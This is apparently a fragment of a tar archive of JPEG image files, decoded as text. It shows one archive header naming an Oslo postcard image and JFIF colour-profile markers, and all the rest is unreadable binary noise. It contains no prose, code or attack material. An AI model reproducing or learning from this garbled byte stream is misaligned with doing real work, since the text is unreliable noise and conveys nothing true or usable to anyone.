}T@LӌIK@Fq5UpBOW]I3=}{pCDg8 #;pN=TC'k2枂8tbĂx 9'T0@Y$cܬGZ721 &~%<+ AZ6"b@yhـzT!92b 鎕ԑP{6$3j=;~眞}KB +hS=zO !Q1#-Q$=2( ܈*qT`}*]엻@?zW` ##[D,>Rr|:GJv8\0@03H NGvޞ3̌<_r2-;A5ψs׊'LV4f"v='Ϊ Jݏ1@hL} ˴ 7n* \ Ѐ`+Fpң}6䔀Aڃg[9$ H`/ڕ4RĕF~  SS)**TQQ8HqJʅ~(Z1юi4"Њ4BsD(J*RJTю(4cz$憉9EЭC\eD=J]i6M8ⲮG{@).rX򊆦-B(SiTc[<^K ҕf\PyK-|/Wj'u>#wzR t!A(fz}:P;x{ǼRb mHzzOzԐJYuՉbʧ=P NCf\|&1D 'Vʡncq㯕DTCbQ|+yqXsO(hHzNMܢ2LzVݍ @֍kLgKe,wuy5asl,g&[KVbgMgoq$),sҧ k[{fXYݜb5z lWj5\-2>PWRv@zl(%>iR#O6N@Ұ 4lN$Gmq n~QkV¤(ohĠ A>((BaLdž?sT9Ӗkkx8[/P~S^3Ғ~NҤ@j_ơp9Ii6']5 mV9I& ސlc?M Zȷ"ڎEv]m$$/ZGE-nHQ9hln&Dbz"PTܻOth; C"T^ K /{CV -(VGzS@LZr }{G`''9Ҵ\V -jq׭S+ 'sU  c[+g 3U淝!6/'k[emI{`ԎKE0D=Spz1EA_z"y PeLh rZ, K((i#q#u K[6O?Zv*1^a%/8\*l0Cןj+zQnn9eY $zTmaYI;Fi_>5n&GYёQYd==I `-!p=0E@j m0bOO^kSvm >rӾAr^)cU A{J+wn=*u [Sv 0@qZn &(q@Wvm*5ww"jɶI;c=|sNػ-u؅y}/H6E4:?՟ҟ1Ϗ֘$y TMlb]cH@y⚜qJj&ouDCT**TQQ8STJҤQ@Ph5$rR D`d,PQ"IU'k[{wQ1.XԂ:g'<ӡ ̻A'34'L.\,O{FY}(ćUSp$X7gζ>[V$̎kQZ$QH;'i ?ZtCnDcJ/i(,gT!'x֠MwA&6L[v0OMdxݕm yGZT)Cp zvʡZ`1԰Ԩf'ԈӲ# rnAU 'x5 t ɟlWWٶ? 0C\fq5K;BȀ K> ze)ǟ'*c|)sGl"$]q&N&<&i2b ?jn&K QHR7mV1-MۢR4 ִU$^ɰj20k1R=f~e@*2}Pn1Qh@ =0R!#3Ať;QpDڥY{aQ݆ gܴһbn_K1ETA(mUdm#̌u&U"say\c3OڴMx3n\6Uv$qYJn !`yuw%*wOJu+2- ǿs{I"v99XWFybWoLVw؎%`-' χTqBNн+4GRC {c=iVB`'#0pOcmO{pDS 9F ~K|3r~UI'!;,8 !8.:S bH3#΅!b;Ї6(F>YI\^)wOx6!ZTt~(~+6;A""@Vݰq^iPӍI?TRĘnqS7@jq#*T(T1ۚToS/Ú!sH^)KR8⚜q@*TP qB8^*)֚jhVW/(׊vL8YWT8楴"|M3R( G^X4+M DnMrijTS"JTR*TRdB-7A9A8eOh*2]VPD$C2(*Lc–pL#NYH1l$mg5&M JAԂ$OxN4]b`2c/tݿМF@$Yz[ 1#4dᘩY o>r.+Hf yA+Jx,L@ǭJzi^ .ྩGmvin:Mcvh(=hm6w h>Uz  a[@g4\!T7C̦93pI$ .CLmQsLR I0KK c2GLR 4$o+ QHBtG&dGJqlo z]0q,T=8A"6pxk)QttJ0YVpOX5P^oah2& `\֮d;?r{ kJFp7sOPnq O[8@=iO@<+iV$q\e-tJ+֔8Q##Ӛ 6 .YݻE?VPX]8bAm $?jyJbqU 5$Kt {'PnK W'c5v(|D>tZwa"Y ǿQmr%6cޠumdbŸۅE]?_jp D>5ͻFm6|,ƈb/uШfFG֒(UB)$ q֠Ӏһ#Mj[+A84ZZWpܰ!AYG]h@Q|x*?sZ6*IG-6 -L'D/9O I[4B+&ycw]\C HwݓkN{l z3ͷl  "~ltj=<<twrڕ KA!B>oLv= 9$d?Z*U9H3Z]øgpzMF엷 dR( Q6A4:Igj58̈>~XiEf\P>R?Ú g\ң̾S=lv. ϗ5n3IGCևj.;hRŠT[a( r E ǀA&GL'*I u:A3y.DqcI^O(2"[wt{@9zv%|sR dK|*ETRccYޒN֕:}֗ ;wzC1kA@Z5Z8&? @*P}fm|]k./V!m){okD=5 l[$J{n6s8E%jKL'Q|uZM:KAwrOrpWma4e4cN`zu&ڂg$r7,UGw-*Z;k s[oiX9HВ8t`wL zm3]NF n>T#1cȎfm qFw=ۀ6mACH-YF ]2j tSG|+e#kݳz+91Jk$wVF-iz{w. I+&y3WΕl6&q}}%ӛe#"nѵ$ɞڹ9+QO 8IwOh-I'џE.^._*5YvAh#1W4bt>5ekoqVu*#8S1j7/=M*;Sq0^vLM Ge 0tg;r$bSK!dH]=nmr Lʘ:TVimqPglܵ# ښe23xEO +m{a>q+'h$fmV[܆3P&Ր ,8s@Bmb1pi̒{ HH̻nԟғ 8zY6]Lz-var1 ~U>Һ1P>S{que3TZK_(UB+i]`*'lW[ojZ'l+6d}:Slv$s^uB7{>4]0vCkuMe\~5 es*twK -RQcN.|@.g@y#& LKw\QI<`>S# rX|Tki.[U'iST/Y>"Juy`*`$Ԋ {ב-1PjBX=f@Dn8f @&NI?Hܬ82;#ڮ\Uٶ\yf<~R` bѳX`@+{\ 0Fkm^YN]'ʠ!ZLUbq"9;p%dӀwn20&JLxӵme9dP3/uN"  tFH7x[ؒ W7Xs CndA=n]yPpW`nx}(6ynJi16yj"H7-wX@?/,HɅ2D*QwM*t40&)SJvT "5ZzJ*jzjjTRRR *Tq7Zq7ZFFH^(JR@*q58T(UONRSZ5@(\eH-R:TMɢ;@y5>,bnj]9s׊[P]ʊ7`47 et[XL 0+XSSMMOMM%J*14 hъG ^(`Э%R_)"q؆)" ɨMH1BGIpHMFL K+/*H6 -@+ 2V 55yOyCH[*ӝT;:70P#d?%A::$U` ¡.z8lE dS[r7d8xh%#i ىLS\? rA#AA'Ɖ,2:o֒m3N0 I0=(!ڳ:IbuaC ס 1EBǥ*"-[(!*m9z!]BdzUԺn[׭I/n~,AJ0p+UMd#n^۠DMjh"yڹD1); 7Rb]is*y}n #-(îݽ8g?p(IOR+:9 XOpMURk&$0"g :xO46teRܿڣ, L XFvg 1 +bgҖlr9α5!~Qi3\aBpxm[Qp |qGvE?Oت4j3jDZok% mz|[ x+|Ɯkk :m]B$Fs? F naz;I L%L7~⃒ vsSiI ٙVAmIW#pyV6Զ#_ZqaKL zch "Am&dIo:;m/'Z %~8*pGv=+;gn;'\޴4%R}A{3F(,$+[g)?/\ڻKBضP:F}^UU׽2DsMI Y"A'#Qf6DuWJ0Mfitu ֗*X<\P <[opOƗk ot'4NmڠD 'OOVML+aYwZ [kUiJ JXɘ\]fZ #+U;[AmyrGY4`I̎TzhQF#m!܈(dLy'nցv9)ʩ)m(eJ$1??Z i`H䎳>Ƙ^-ps3 T[3z!+lf#v* ; JAc@K[!N7 < A<ZH-.'2|~7*#OJbw"PˮA]h \  {K8f8"c=`@; 1,'˜JvfH?^[w6f9T/1e[-FcvndF B'ic&p?OzbRY)92m6dB/\ L6 <#J8bzSm+:+mHa06*L!rBQP2r:Sp>hi` ?JvSrFG$H*lJ>u}pc ;3#=Dgx9->T>YPc ϵ2=kI֢\ `w`p}X6B Tl2[ 8jM5ZfPG~eWOfl&\DͯlأhSD<V} 9LJJ@$%Hd[[.%@ݞ+6t'>\W9SٴXbGw?jȰQ JOұʈjʫCֵtW6ۄQlT̢ld ^ EIPcʦj+UB;D(klS׭e>Ǎr$c?jQn[13?ZUom^=C}Վ"q@'],Kd|D-Qq>(GJ_mbwqI$隍. 0'q뱚HyPzHx*EZ<~WѡA.#Ԓ۰8IS]T 09#".ǕR S8uvC FifwUenwT|#qvRa32uY3= ?āp`*OY=7#<pFm3N>erfr#j2w \ظĽ0{4Dv&N|߿>iPOJvj 5hSQSSP`#)b%F '̎G P(9'n˙!A!y,@"f`ň01@Yma⪥vo;4]_qOj{o:θ1Z#Ɓ d6VmZʱQ}h[6JaQ>nӲPɬ= :1ǚCLԓKPf .eHxW!r+r4TK>R̤7;fGwxTAEhFIN!%+%|H[jJ?(@YB^c'£Tmyv;v3i1iczԹm[Xډ:$OY$֨oPüǍZ}/.Yv~v gV#.5~;^k%qkKR>Eܐc~"] wz}걾YH$3*@fl=UqvYlx6O3&຅T6Ѝչz}\&~x.Ѯmg gFv£ci'LTInN ڳ.'>Im.6S@( K]`A, DP2>}jPn+ 0FHϗJ4Aӥ ޮ@3*u UՋÁDO0mD//3#,O(f2*I"(ų𓽾HZ%ZvIF IgJץ/Y杂+n;;_S*ەq OH53^(l/y@#1LiZQ&83sVQڂ !A1r( AHXLHL*'bw('x< "cr$OiTē 7B$j` ȟ*6ֻ&#C|0LJ̜M/%xWEI ?,.'rsLG{iurԞGer|H,DvOƧm' yZ|_-@%|3G]mmgfl\ځX4x145%D`(XnCgAD2L@;Q"v%ۜ MfvΥ bdğ|Gk;r@ڳ茏eI?Jp<`ǷfYݭ~Ww嬫j DxWF3]k` =+& `ӈǭr? ,BMu:ɻ6OA("XL&>6yWCV˿v(T Ǘ9ҧ; >T1l *@}{9ާnb2|갺P !{OzH3|Tp{{-cn;FbqCn5a$J_ŋmJvXEoPBܘ39q@X;DH2;8% dtCnP2zfy"X4 1  ~3vΚτu CZ%@ N)U$HT@v;2fO\p NcIbXo2ݶ '^iP9X>~Uˠd+ b"p!s8D5#j20v095C*B 8=OBj1׮*^(۶^#N&h.~9@Yt >cTV-*d<׭*R]7A{ƠS zJ*jzjGDx=*TASSP!4C摑R4=8⚜qAqOL8L9<hCE҆qB8^*:z+}hh%1ZF'ή2#E,{hPYX e[jւ=>QDgߝ ]w134SH.)T"BW4TM1"+@Cxa+NdSi&Tm5ϵp)<@ rUA%L梚pؤC󈥿Px@ʥF C8QZq2I,¨ێ|i(~SF#S>T *x<|R۱DS-Ib)m Ǖ T@GtĨwڦ7-0*j ,|V CgδBžXfLMj!VT((`Hڠxб$yB1|A%U1KiQDc4uc`ǵmG?zSMmdRUb\@Q/OqXB@f F:gBFc\p:5>&I TI"Z-R mb6+k zx&j˱^`D>zUUkn\wt55^%IsS1,m>ToX}w`@7q%xcW]R"$1c,OXcZ2ģAfҀm c?z=glvU-y $G 1 K9SxiJG6e:o m13"8*]݁@a<>:Q&m xpz怷.29ҁu$&m=jm e˨Jtw(x?"{h tpnWj" ? ݼ,Vwb`~_7[y x@8 $r> r S<*q@m% \h ? Հ&&|]WmAF|*ak s{mnsJka̝Y`w@LABy4 'QO7]I&1֝[pXϕ3HO1N 7A=Iu2OJYJWsϽ  ! 5GN`IU5R}(6E=\tɪIf)(R'}?Q#ƶ=GK8pkQ.Ȥ 4ɧ-; z"H¥hcFDRE h @ǵ6br@fV`ZxW+S+;E{"`*"[ʪq(m[K$ 7IabӢF%}I`9mEN.:B&C=&&{\rw )r 95ͺ|)SCbMR 8FI+KNC뚲vȚJK:$UcA&!4lIH䆟҆7㙤҆P!ʠ"`Ve{َW32A"jXM0LGbGZ3p:B@W9UPc9K@/<ީԖiER4ר5y$Z-t Dq@c5w.cN1<ƏP9;-i:M_kYة_}2űb:-;<7uA)u@wqҠ@XF\U ?6gҤA$f8qfMl s=:m %dyZ |@TBcJ/ q,F'M"hDB?\ {V ; d3HK':5aԽv jcuB 1'U,J xކh<)$. Zf{TI0y3mv*Ds:t:lL"Ib}\,``ګXۊ`Gp x{+v{AX$9D=v KqL #Iyv2*46uq-8}uݯnCyUG[!?= Ži$O]^Ҹ J)Dj}.; 1Ҳo Ӗ=sKBW@uRwmep(m1;Ͷb >+).6w#J-jgxn◉ݥ^qOGs\J` r@~F޷6I&:x76 qGmx'QhP2ֳ`8>J`oUXhjTVVɁ;}+Uӆ,ͷoxn)SnCj9o]gctϭW=Ccq>|@TZ56Q#W6F %]Vv: gwZh ȁ+(}՜/;FAc?Jf I rvR$I#jkw.%Lmvt4cnSޤV*3 S 6:=70:0wm;2P!@4ύ&b @}( EZb?N%U6vƫ.msOҙʗfl0@h 'pX?2ȶ2ͩf ,2ޒWC-G[7"ev>|KlA?jrI`wڗe.֏n+b|P"۸Y j}Q.gT{F=S$ %RH$*EQ0~P GҀ@EA1 #4_ҀrfI @ tnr} ($}Jx9B(03JbL )@`=i*HF**zGCHh5ML(W P&8(~.3@2"'zH <)D\4lt=)&~Y^DC? Iil#,15( 26vޛ3IݞHKOPuS|&G5)9R %q@Uu%x#iɏ QqU^vu_!&jy5k$y ϭ8jjE蒘MjVrYPK&h[Ϡk<D3$RK'R ի:{v0s?&bpBe n {lrTR:8֜ 2HKm+Z4$ʞ#bN5m̊"Ĉcƣw:Lی֜VeX-u@f]h܃U f5ffݏ e0*JZ3W;<` t›@Dgެ.}1#UUpCD S .eO9$jmDr xbY rI<jcfJ }jUWl(Y[%I"|Ml(fn*єl ̤ <zXa JezD@0P >aPi!ҺvaESfsPH"=s@_9^7Tr8}FՔ%wfa ܳRj ByǧOc\ܠ44LAk0E`h;@ڍn'ڧk6%Pb^j>էѪ5Qeܯ9ްm97&I\4Kd2bB@z{CiC$OP *@ZG{%w9u 7j&!'iFh-(ZB >QoxSjWQ\mg rOֳnELP`uύ8It"a҈NU1ގϵU ;rTTA PNB/*JFsWkqt?PfzR7tWhހaAzPWq*3"y1!f.'s`}ꋰR\15 A#"h BTA<Vp\0`qÏjo;9,Hr 9wD2IDQ k?e t?D9 %~[I p|<>R~bCqo*F_Bq+Z-e qC \t@[[T"OYǺv U7w I9?Q|pd(XېDEf֤ϙTxiR**U zkj 1ᗊTUSzcW =))t8D85"@!#@8EJ ⛊DdP!UPJxf✘Tm &*IhVRZu%q)E!!HU3?- sDi,|-8⚜qYA)QLHqCBA& sVF&D6/  jE]׍1($D!D"&3Aϭ 8LPD(u4@&Pcb&92:SwB Uxԃ*x3L[R H| ҀRE҄NE WjS P 88?{Ӹ sL0zS,%LO ̌#όy@ c!KwDtHGyJnDg8RV$uH9?/9I&f}$ ЪK|A =ҀŸ֙xxM%z=hO^x[M՝iz5Cm&nWȑ}-"4C4 a5 ϕkiP@*Q5L'M+$ !܀rH}Iv p&z#³&Lr10vW9p hfπ=)h% 9zKI7l_zҾg=hIv3qOlL C~D@2H S.y֚/w%ghĽiﱪsސeNu[SwoH}+5#w$P2VǙmPu 6M#s&SMlI- Ҙ>ANNր HS@*IπA~xVl,A#5!/PT<15% *yZ[j%a2ww#ښF *' h8c4a%`?Ld' "wwYXOzsSC)`A#T8=:ޛd %G$`PhMzTbH b0= RW ZO#T ?j Wi3Clzkk Օ0a@Q$I$4 2<#n(X0ms4l7 2JhP* hL3Ҁq.Dwݼ #E~) j`BȶB+ 8IT8$̱\8JdG22Iڨil3T$I'V UFfy梄kx=Zr]m) b{#^4%Ke+g).1&0q@ 18?^?%A琹!]ǟTj) NjہT6>g&BҀ&S 8M3ʎJݸFQ-τP#A@9QkjNA?(7~"@*g 4"@܎&D- uV?j2T&w;#2bih%7W*=B.ꂭeWޔd ʻ?~؀HBH3$'i TϿN;N»EEm`na&c7m#F %L td!* 1ZemI'>!fD8R&Iڙf 538 `&@a3Z`u&YXmё/#rӍϖ-
m'?\ޗD"1Ԩ:nh?-Wz~Z%%fTƞJC]))Q&hqN=(ͰsD1c@ qM* TJTƈqLh"ю(4c"`TU- SFE8m8S*gZg2`Rv*UiɁHsOzP`xANqR8HJӥ npm2F-c>jF|h8 Pr֞@nMyM ⟞b(*0 n(hf1MA7֜qKޘ03)$u2fXmAH`O4<قdJr $0Dm֗"%},2f=q4D3҄Z(HR`})[v1D"bs0)s@j#@8x$;DxA43މώh(/ɏ?PiC݀:ӀJbvZa*iSY#i^JSY9*`H 5vV\eĴ+6n`<*lP)M18U1 7SLFhVl51=+*zREҝ0&`ю(ƭ݄|*{VHVaoMh`UT~H$sPaq{UAP$%)#-C0Ǟ=*2#m - @I(v ! WFBAɜA l}?xw"w@f-" !cVUۦݝr=E\\7K?>i@Q?1=M2ڣk*PT H|_p`OjF*Owp\pnrJ<5" <4#|*{nwciH1ޜ ;hNğ:%A˜'s|=(K"Au(weGd29+BԬʳyA (b)RZw6#@ *DSzS`2 !DSSIش@1@DX4NaH oDmR!@TI?iTZ'uh8Ϗޕt _aA^)闊zP5=5*!0ئCw{nJ'3P-(mȚ[i(J*T8qB8UD 8I ъl1QZᏕ ; HcطR)*@ J!O:D12cڐbH:D f#'m`% Aq@)8oN =>Cghe= Oy9>4=~fBH4ϕ%E8 ޘ9€Cʗt1}ҘD#OZDthb:D#ƃ'cufǕܬ>P FbFOJ/IS>>T E3yP5ԳI꯮$EnY\; _@1$u}.L[ιF85;y\EE?̩5*=._үU2 Qe]9OP!ȤHi*p+J:V} xYN (3QɸDZFP)$SDxRyTc=:&I6CXHj~~Bx1!w 6$Pq;ژb(.9i9WRJ/2O5Mn5;dN( "sO8PM:MM֪5* 5x QBͭn _ hC3jAlfi$U1JI޲HR:{+ɏX(nBK'3$A';o!d@g tݿf\" g!&rqVp@2 R^T?B S {?ڈKxX,dluT nd|׮O7|Q )U wX)[1 2 ,}(U '$sLF 3.M=ˇ&N#E% XJ L 7m+:S!uǜS[}r7$_:aD&,Yn+ (,28*MDI?JY~GT3㡘BK{a?fgXTuc1OhIVS8K#V@0A[TkۼHm,ˆ:U J0j](pKnqL"heQ.)[ WĘac~giJJt.Sx\ ʥ3 P $ψ0s)hffH捠h`l4jZ!*%ǩ ]b c*AF[` '),g0s+?ޙTTx`f64rH A aJkWiTd=ogbZ8:K?ZLADt oaBC3zm"Sހ23R+?4),<z&Aʁ#4;wԎWe[V 4ňCޣp09Z8qϽ(frpWh=sNA-2)l[hV]'H4:J+hUNLn7y?'=hB.8_oX0?x#=G7pXE n|(`?vA_Aw*t<*p#m1#΀mMd' 1DI@#59dR3Nm %E"TR6 uFjvOZ'LI#oPa`L)RjҶH@pRUvJ^)RT*TU5*T-N-*UqMJ8 *TJ]h*TRJ*TPpRW GTxӊT*5\RTƙ楲iR&CT[A֘23T3D?\f6әiRcR"BzT!(rbwc_iR+.X=h `iRÙ-XJ rP28 b7b)RHA@P Dž2$*T,6NO%hb>P &?*TR aޤ@Lcҕ*)H/Sl ?XJ#`%H R Rvideo-media/POSTCARDS-OSLO_19_layer-650x1080.jpeg000060400000306633151724237330014446 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt\FQ7V85z! YW>?CsUoQ7mrJ%GTōc+YiE@n3ƱzB6n3Yz2߸Bv N8eEJ.{w F9Ҍ]c]o6H+ro8?jꮢچ+?Ym(<ϝTiAr5E 2 !Yڧg\6.`ARqw\In/XvC⻲O,.DJj&xəhJa{IKnK0roO<ں] [Q =j(nl,">֣ փV6R<:*ηYQrՓ7)iaۘ)2pEa/nh'ک7 ,7Qp)Eh?_M .f\[l]fK9. BZ@;܌OoJɴZn*D cHoPL #~\bQ=}aڼUrvK0 yZ} ^"|h{@m$wE56ļ rO @2Ó~/jNԕd-42c;Wʳ729k\+[(x?p*,cPO{>Mp\PMVn  &xUX[R0qj=vĕ ~+]Ac؃>~Xj20Go:$I!* hNl.,Iiu߹0~Vt9,'p?^d7``FJ\Ql;FJXfJOy+3PGR@'h+cvf85tVD]~?hφRL\Eޤ $s1WH~Zp$#ǥ7]H U;R.<3uOsD"7Aϊ˛Ջ7q9gPXnJ䬑brXLZ=}B}sNx4c*q*.!ޘѠqJqJMb}jަA#K~)P$T@F S`qJDǵ"<NJ_L)@"g{R x#piJsR98RR?>I - e^Eit-:w:5˜|XVx`?/]f$A+Yx`Qf[Y;W>ӧ5i I }okX FX⼰3n h5=A1)L?Gz]Qb턗S%Hl"+tH'0?>hxo['Wy?zoRJk,.kn8~oUU4)nJ @#5ܳ|7aq3 !Cb9?Jxxk`4J6w˶lx 6Qm? ]rzn ,v\Vfy:>h,Dc+zIӵWl|0~o"ioF"p;꿌NyAq(9҉wD ]V޺>=Ul?dӅ7@$]]76t md-/gҭj]c<6E>*,p<[}h $zCwb1al$Kg\CCDfyԬ\albds5e-qQT.;i8 FYs42&+($'3RX m$̎;ӷֆ7:&f qbsGYiͪNgs&&}ctǁ[Kw^m)b =ڱ֛˷AYQٌA:-ӖX/Ǵ+f(ȭgmfԚcMpfVI85fK6gh'%_t,G f3%X*WrH)T#9<ԇ#Tc!|@!, =ޕJM-ޜScp) 3R* GހzT<ɠ1JiRzC!}ڀiNzDǟޛ80yTE<PJ}y$c_Ό>`Xt ^6z`o~/otZ9slm~)ϗhS~jd$Mq1]f5;"`ߊ/ϗw=L<@ےs*=]sWu۝$7c1?rEwL ׵qLn7q,ġVF"kI5zPVpD/bzuB ??WsI}@#ny.=^,B*]@O@qztWضBb yrtr֖im3qsseŖK yVUQxsl0 :Ij0>y5jŭ[w_e ]VfҤPw([ %L]Yʥ:I dD]3-V7VXְTVvuv9na>(~V/[ށ O?p,RHS[ËvsLԳz\\#} ߷5ba$ryawm$AڭT-h`.!*$Z57-H O|kputa3XRN!g>\{Ӻhn=lV5P~ Memt8#k5Z cD9_Ft}} ;oymx ^1zLD*Ay'U\e`ǜތK a Н=s$ tNY㫤\ @*GMW]Tf__m#%~m !ÉoJi:z& A0O@̥9OT|2jHŘD'IVw2ڄIKU(OՔ7QBN;vL@緭3ϡ9vJn33Ѣ[w[B6DouB'8($*7c'&>,iGK6!Y<~O6c|y~t_Pw t 'eLp Դǥa#q+}W>1dN3Z? cN)UFY8IbjsPԃ E'ր~5b1SH4)>ڐ*p;yxbqJ`RSKv{}L)ڕ/_`i⟹Q&6jfs4s5-ؤ' Ldp>$'M*h'7|4<1L1CELԨG#ʺl.A='Jt6ǠY1=wZ$cLm|)֯C\ҤV%HT_VÕ]‚O_$i*-ͲA#5 wv<1#ot̠1gl"Oiaqǁ%yqAV[(@_Cs^Zݐk=y#*ey8p'a[`X3p&Ya62/aK?H:p+V87`i txr _N;4Dm;y P?ߕ`Mck@b2v5ΊS Omɦv9. !֫ٵM*=ӑF:! Z_{o 1[ av\/jn$`QU_AX}](~t֞麾XB d1ڹ='Gxk+ouՙ7`WC.Gw4:*OGv:;[!n4ˏHN ~!bxxҶˍrI,ƽV淉!&? /Eu^{gqVmi[e15}+qW2Ti m;yOjT,ͻjOS{^\3$vM ?ԑx#8ZW]ϰ~_ފn\XH4>#.ٺ,Crd=d( w +#OqޤXr_pw`H,lUp=餭͛2Iϧlcɒ<5TWvc"4N`t"ű*Z~)b8>u8#>t Sڥ4H*aqOS43NV0x2iDRhLi`׊n@5d3QjTGԩPϗޜ(H8<ӀW̴Ti怊i>Ƞ @ms>viSW!Ӟ{Ԋm> Ӆ x zsO4Xi@; )Bb5Ͽҽ/z ~Q\Jw99?1[сQ3_^nQD"=OOBi6ΤH 0 &dyйn$VmϟXs6fMbR6ّ֑sW׸_#KbH'&WC+9~+55Ғ|/[GrJ>.NcUuH0~횷ٺ n`M`PNQ YZN:1^-L{HVPɊVw$xc1\ayh"IAn,q'qte)>*])?j6F. o}&=V[1 쀱gL9G}5֬[9ӏVD$G5w[we AW#/M]=Ŀfո^$͂7ʈ[& x_޹:vm9bjI% <Z؏Wd|zӋv]JyƊhӨY>\o ;Sv})r Fx~@aw;ELwwJ^~`r3n Kd5JǤm6@lY^թj?՟zҸu8+{U3?kr]rJ@+=^=Xv߿VvmMD89w}NݶY3NGڵPpsm񻆶r(g"Ȁ,cqa̬OZ,nZ1jrAm| ^1?*vz\nm439g-R.#8#5hUbXP]Vgk0} dD!.ADhev ݻx]D6<6Ԓ̛FGۿ޵gj)( m0 N@1k8ۉPGIIʪ$3ڦw^aZi.O \X ڸMۖ5J&Z@|^zսuKP3#i5]PF`ď8{T,70 q۵{? 'QC~xpsAyQW4d{cɜ8/y2>\C& G<`R d>cΧsOd\zyiԗ X V[,D*W$O*Tjl 'p6 \r95?zUv kySnπ/+e\vawh)$H֊;~+A#WG$IVF CCbdk~ر'Ϛ.bn i喼6!dIKS/o7 raDDCT.Zn1gYm]XT~(U|"gz~S/q3mb${s|բQ7)1{"]w4 &3ۈ"عAcv?qf<3{/ bLhJ`1zϖj2c8V9*F@ 1~|@R9DP"?9s>֣_eygGF/Lko #ҍuM&@yZȾV:#tZV#*3}I60$0 *- @ 5V:~-sC]4Epg1igwvRiAJJk2 ~_ނWv=SNDK.4Jwt3^p9>8t۶]|Wk) iu\ >|yc3N\}$ufW$ XB(#u .{>ޕׯ+BJ9Ȼd A38Uqe O  > ݿYhD$z_cA}}_-yH0{ Vm7mݐ?4֙;͢ڲݒYv46HuRBn92]4-` ֆ[KPd ǼU+i[>oƶ4903ᝧjTI`0%g}޵>wܲByu$ٻmYr20$g8?YciLW5|qW@m3yv7=sWq`麶teۓپwZ-x#߽f.>(@c^gmӵMuSLOD||{ m+٠Ipb3@4ȥ3L8 8=Tx?.Zt0yqC~` 8*ߛ\kھgXOk} m[9ܯlWz;Ûl]+_{Qur1|7ˎQ0wI".~Y[7V$+H_Qrf eXX9*d1djoWIͲJ$7O Kp$zzgq=~u=%CKUKʵWp2gԴAաj "4i|IȖZ m)38<5|9ϽzVD;\SEC ýw|n{.q<' c* " $m{u3@X6GǯT-%wrz,ycJ%i&}T}f@,.1se}; ˸2"[">=%;6JD$ -|-ih2O=1Ra\hl?*\S]WwdZaJߪXMm* jg, tmLa\I =V@{s;hDc^pN1 =zTVP!2ʧ^t}N] ҹ΋Cm[[W|Q."%G氷&0OUH˷\'$!Ԩ$c\WWہpr`ǧO0|5g`ݴ{uG@zMp<4TU6z`sq,-~Zp0g5fD5|(j$rg1BYfbrYI ''z>-Ia$&?.ni̩06AP۹Ϝv<ѺfEX gl@x>Dn $ f?\~)܍I1,$yShX";'VB6 {vԇ41P?Vju7T09B6gyT ٮʈjZxZ6[G"y+G{NPh.dWoZ~#\m'=k:6:.k @ntvjK&'tq=W- b- ?a^q8nK#>u"1ӂk]W\Z O!5lkR|;}/$IR<'׷\W<޵:n 1+~R$#ι_NfPKx"?/JeS344V5vHh}'uq+>/'UJ1]"@$3?\m>##& G D Eb@W"'<+4@IqZXdxz9 XԋĎ(]+H3QԼwI?KB3Tc#<_L ([J0AZ? Awj։ *пnƧMnφh3Н# 1ާco\Ԧ?,[ sKi??lUGq\g¿GՏCi[r*G]41t42spz)eV / (%kt8./[I#‚:p@$cL|v,\q1?'9ޣqZD- ؞Ky:_ }E̩RXX$qğc&Uosa=(<%w*`~Z!VNEZa ?U]np3Le1gWz(Ѻwte'"i|on  }|7-pە@*ENie;UWoRaH'=[rT;#xH8'-“3[|] w 8X[&VK] OɯEU5i w,dݶ)K`],i$VA_uQqHT'y/P|Akz~P҆%\~;atr^⁒| /,^D*c9tXKg18hg` 8V[Vo*qß_*eڭAy>hX⼗߯9s$滾ojX8Vg> %dՖv9>m`2J 9m۞ijG=jHRwSE<00x8&Ҟ RLu&0{f |ҥIr RED 42tNf$q )xn)8P )RSҤ9ӯÁMPӚa6➔R?=欶 IV꩟:[ ,vet$㉧t$ ,n<0Kւ{jLAkh*!VZԸypoqϵFX+d朮T Guiʦ. Or̝#8[lA^GhZ0(D$omgF v`GdZzDZNƋ,{G?.+ǧ60EL@ݷ,c貲y8<Mq\V5@P=Vtkl+lS(Uy5+ eY2WdUal iEC޵, ;rrU6 V\xF{DEuKz lL 1^}Ժm]yC2" uũ"vzO^w ڛ1y5-&Dzv G5R占sO4lKm&WϞjn;3ֽ:yM9ߋ'ҠGڸmX63o\ǡ%/סs捶nyx_վ`9A"=yij϶q<*8t pnFDFsVi[jgշ"ԛIzI-lĩ5ZM.JJ5*kkMnXwLIF0@:[n.;D۟ >'uJ51#zMOԑ_}B+}1uCzRORWWqxS }fj - zIvmd$'}ZIϕ]g#wJ3=VjZ*gHJ*@Tn*F j3Ȩ@8@v)RP sr$w)Sn*#g>)~?zDm4ޝ8`Oaב%ۣ{D#iY!6qV%VU`ogcw.ivj-j۽yn۪(Pɉ'f^P"q\Q>#p%y>S]2d޽0]k5 H,|TL~2 z1T0qd JmPztsA'P>øL;F?>"]"<\E`סsfq8?Ojul(b}|딵]\m |$;ֵ㏝/5}1oz[d j 8A5j/w3ϵL]oIvzS}g޸n}7^ 9 wh %Ґv+b4dF?αzQBm*k#[rw[9_{=GB[ 9"h!Gb`zlz;..H_j>)oLSպz ;dYl,`tEq cp&.֜Z򭴏2ɡm*%Ȋ0N۽a/ |Gʧ+VZ'1qۥؾK q|g?iii[4q13Ԛd쭴U^vXco%ǔO )kuYRv1iҢQàS[`A~5fb;^CvEgA).dqy_mGU[hbq*0ۓGin6nLq}{ڃ'V5j qҪɧt {6suPl%ds=YMiB@xԵK93QKKtD3A>Э(e9ڳس'`NO޺%LxEMizQvqBDՙׁ.m~8zyn=V!L.!*1C;x"O'l߉MYqmpZ0M[130+@&>\dd+`ʼn2خN/C#qZ^9QjVmMT{]8T4L]0q kGqY~/u:wt \TѼѝ#jZD/*.7ٽoYaZ,@"&oγ5:&Һݵi1_vD?,M8]=fV'Nբ[)A/Zy?ҮiSuM.rcGK;Q?3OyibHYD)+z\Ýs<iZU]Gxed}.Z A-9$*|Ѿ$wt#\"ͻxqA߹^#`%~`9sFu݉ʌ8Mc(gߊ ]{,ͨos!lZ.\`I#Σxr=To)*~j٤( O 1MHz@3I {L`U\Ti sP 68'83O@8NDA[  /)/")զIV*@ZiڀH&6a*Ѻ"j }+(, 9<ԗ/,X *aA*qRpJUP^]&3Ċe+lrD`1Y5[Whrr#Ajtx+BcU1lpx|Q Wmhڭk]ϜG|oOfWOKORʑz~¥xA ]Z@(܆R4%2IUWB$,߳-_NGe(W9j8'tA,dWEp尪P3/u j*`A.^10ݚ3hXۭL]_g[njt``gywŜͼ\68)͵y( %{.ܒ<'IS@?in ncڽ\vWl߈, 